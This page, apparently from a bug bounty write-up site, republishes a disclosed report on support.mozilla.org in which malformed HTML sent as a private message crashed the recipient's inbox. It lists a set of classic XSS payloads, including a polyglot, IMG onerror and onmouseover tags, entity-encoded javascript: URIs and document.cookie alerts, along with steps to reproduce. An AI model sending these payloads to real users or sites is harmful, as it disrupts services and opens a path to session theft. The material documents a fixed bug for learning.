Skip to content
XSS Disclosed report Beginner

Malformed injected <IMG> tag crashes Messages Inbox Web support.mozilla.org

A user could send a message containing malformed HTML and script-like payloads to another account on the support site. When the recipient opened their messages inbox, the page crashed with an error instead of rendering, and the reporter claims this could be sent to all users.

Kang Ali Follow

Originally disclosed on Mozilla

  • Fixed in 35 days
  • Paid in 41 days
  • Disclosed after 35 days

Paylod XSS (minor) to Crash Messages Inbox

  1. Login website https://support.mozilla.org/
  2. Go to https://support.mozilla.org/id/messages/new
  3. Send to account Victim with payload below
HTML
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
  1. After send Messages menu messages user victim crash and notification alert :

An Error Occurred Oh, no! It looks like an unexpected error occurred. We've already notified the site administrators. Please try again now, or in a few minutes.

  1. This not Denial-of-service attack or Rate Limit, because this payload impact only user support.mozilla.org

Impact :

this menu new messages on suport mozilla can to send to all user account support, attacker can send payload crash messages to all user account support mozill. and all user cannot open messages menu on https://support.mozilla.org/id/messages/

Supporting Material/References:

Because the proof of concept video file is too big, I uploaded it on youtube and the setting not public :

https://youtu.be/IHAByCLG5Xg

Thanks

The original report as published on Mozilla's Bugzilla, by Kang Ali. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the message content was not safely sanitised or escaped before being rendered in the inbox, so malformed markup broke the page.

Impact

A recipient's inbox could fail to load, and the reporter claims an attacker could do this to all users so nobody could open their messages; the text does not show a working script execution, only a crash.

What the attacker needed

A free account; victim opens their messages inbox

How it was found

  1. Log in to the support site.
  2. Open the new message page.
  3. Send a message containing the malformed HTML payload to a victim account.
  4. Open the victim's messages menu and observe the crash and error notification.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site lets one user send a message to another. The sender put broken HTML and script snippets into the message body. When the receiver opened their inbox, the page failed to load and showed an error, so they could not read their messages. The reporter says this could be repeated against every user.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Kang Ali

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.